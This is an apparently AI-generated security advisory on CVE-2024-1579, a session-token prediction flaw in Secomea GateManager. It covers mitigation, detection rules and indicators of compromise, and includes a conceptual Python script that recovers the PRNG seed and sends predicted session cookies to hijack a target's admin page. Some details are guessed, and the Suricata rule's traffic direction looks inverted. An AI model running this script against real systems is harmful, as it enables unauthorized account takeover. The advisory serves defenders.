CVE-2024-1579

Executive Summary

CVE-2024-1579 is a critical vulnerability in Secomea GateManager, specifically within its Webserver modules. The flaw stems from an incorrect usage of seeds in a Pseudo-Random Number Generator (PRNG), which allows an attacker to predict session tokens and hijack active user sessions. With a CVSS score of 8.1, this vulnerability poses a significant threat to the confidentiality, integrity, and availability of the affected system. The attack vector is network-based, requires no authentication, and can be executed with low complexity. As of this report, no public proof-of-concept (PoC) or exploit code is available, but the risk of session hijacking remains high. The vendor has released a patched version (11.2.624071020), and immediate upgrade is strongly recommended.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary software component of Secomea GateManager.

CVSS Breakdown & Threat Level

• CVSS Score: 8.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None (N) – No authentication is needed to exploit the vulnerability.
• User Interaction (UI): None (N) – The victim does not need to perform any action.
• Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
• Confidentiality (C): High (H) – Session hijacking can lead to full disclosure of sensitive data.
• Integrity (I): High (H) – An attacker can modify session data or perform actions as the hijacked user.
• Availability (A): High (H) – An attacker could potentially disrupt services by terminating sessions.

Threat Level: High. The combination of network exploitability, no authentication requirement, and high impact makes this a critical risk for any organization using Secomea GateManager.

Deep Dive & Mechanics

The vulnerability resides in the PRNG used to generate session tokens within the GateManager webserver modules. A PRNG requires a seed value to initialize its state. If the seed is predictable (e.g., based on timestamps, process IDs, or other easily guessable values), an attacker can replicate the PRNG state and generate the same sequence of session tokens.

Attack Flow:

1. Observation: The attacker monitors network traffic to capture one or more valid session tokens from legitimate users.
2. Seed Recovery: By analyzing the captured tokens, the attacker deduces the seed value used by the PRNG. This is possible because the seed is derived from a weak source (e.g., system time with low granularity).
3. Token Prediction: Using the recovered seed, the attacker initializes their own instance of the PRNG and generates future session tokens.
4. Session Hijacking: The attacker sends a request to the GateManager with a predicted token, impersonating the legitimate user and gaining unauthorized access.

The vulnerability is classified under CWE-338 (Use of Cryptographically Weak Pseudo-Random Number Generator). The specific weakness is the incorrect usage of seeds, meaning the seed is either static, derived from a predictable source, or reused across sessions.

Vulnerable vs. Patched Code

The vulnerable code likely uses a weak seed source such as time(NULL) or getpid() without proper entropy mixing. The patched version (11.2.624071020) should implement a cryptographically secure PRNG (CSPRNG) with a seed sourced from a secure entropy pool (e.g., /dev/urandom on Linux, CryptGenRandom on Windows).

Vulnerable Code Example (Conceptual):

// Vulnerable: Uses time() as seed
srand(time(NULL));
int token = rand();

Patched Code Example (Conceptual):

// Patched: Uses secure random generator
#include <openssl/rand.h>
unsigned char token[32];
RAND_bytes(token, sizeof(token));

The exact code is proprietary, but the fix involves replacing the weak PRNG with a CSPRNG and ensuring the seed is derived from a high-entropy source.

Exploitation & Lab Setup

Red Team (Offensive)

Objective: Demonstrate session hijacking by predicting session tokens.

Prerequisites:

• A vulnerable Secomea GateManager instance (version < 11.2.624071020).
• Network access to the GateManager webserver.
• Ability to capture network traffic (e.g., using Wireshark or tcpdump).

Steps:

1. Capture a Session Token: Intercept a legitimate user's login request or any authenticated request to extract a session token (e.g., from a cookie or HTTP header).
2. Analyze Token Pattern: Determine the token length and encoding (e.g., hexadecimal, base64). The token is likely a 32-bit or 64-bit integer generated by rand().
3. Brute-Force Seed: Since the seed is based on a timestamp (e.g., Unix epoch in seconds), create a script to iterate over possible seed values around the time of token capture.
4. Generate Predicted Tokens: For each candidate seed, generate the next token(s) using the same PRNG algorithm.
5. Test Tokens: Send HTTP requests to the GateManager with the predicted tokens. If a token is accepted, the session is hijacked.

Example Python Script (Conceptual):

import requests
import time
from ctypes import CDLL

# Load libc for rand() and srand()
libc = CDLL("libc.so.6")

# Captured token from network traffic
captured_token = 12345678

# Brute-force seed around capture time
capture_time = int(time.time())
for seed in range(capture_time - 10, capture_time + 10):
    libc.srand(seed)
    predicted_token = libc.rand()
    if predicted_token == captured_token:
        print(f"Seed found: {seed}")
        # Generate next token
        next_token = libc.rand()
        # Use next_token to hijack session
        cookies = {"session": str(next_token)}
        r = requests.get("https://target-gatemanager/admin", cookies=cookies)
        if r.status_code == 200:
            print("Session hijacked!")
        break

Blue Team (Defensive)

Detection:

• Monitor for multiple failed login attempts with different session tokens from the same IP.
• Alert on unusual patterns in session token generation (e.g., sequential tokens).
• Use the detection rules provided in the Detection Engineering section.

Mitigation:

• Immediately upgrade to GateManager version 11.2.624071020 or later.
• If patching is not possible, implement network segmentation to restrict access to the GateManager webserver.
• Enable multi-factor authentication (MFA) to reduce the impact of session hijacking.
• Rotate all existing session tokens after patching.

Indicators of Compromise (IOCs)

• Network Traffic:
  • Multiple HTTP requests with sequential or easily predictable session tokens.
  • Requests to the GateManager webserver from IP addresses not associated with legitimate users.
• Logs:
  • Repeated session token validation failures in GateManager logs.
  • Unusual patterns in session creation timestamps (e.g., tokens generated at regular intervals).
• System:
  • Unexpected active sessions for users who are not currently logged in.
  • Changes to user permissions or configurations without corresponding user actions.

Detection Engineering

YARA Rule

rule CVE_2024_1579_SessionToken_Prediction {
    meta:
        description = "Detects potential session token prediction attempts against Secomea GateManager"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-1579"
    strings:
        $token_pattern = /session=[0-9]{8,10}/  // Adjust regex based on actual token format
        $gatemanager_path = "/GateManager"
    condition:
        $gatemanager_path and #token_pattern > 5  // More than 5 token attempts
}

Sigma Rule

title: CVE-2024-1579 Session Hijacking Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects multiple session token attempts against Secomea GateManager
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-stem: "/GateManager/*"
        cs-cookie: "session=*"
    condition: selection | count(cs-cookie) by source_ip > 10 in 5 minutes
falsepositives:
    - Legitimate users with network issues
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-1579 Session Token Prediction Attempt"; flow:to_server; content:"/GateManager"; http_uri; content:"session="; http_cookie; threshold:type both, track by_src, count 10, seconds 300; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade Secomea GateManager to version 11.2.624071020 or later. This is the only definitive fix.
2. Workaround: If patching is delayed, restrict network access to the GateManager webserver using firewall rules or VPNs.
3. Session Invalidation: Force all users to re-authenticate after patching to invalidate any potentially compromised tokens.

Long-Term Measures:

• Implement a Web Application Firewall (WAF) to detect and block session token prediction attempts.
• Conduct regular security audits of PRNG usage in all software components.
• Use cryptographically secure random number generators (e.g., java.security.SecureRandom in Java, secrets module in Python) for all security-sensitive operations.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.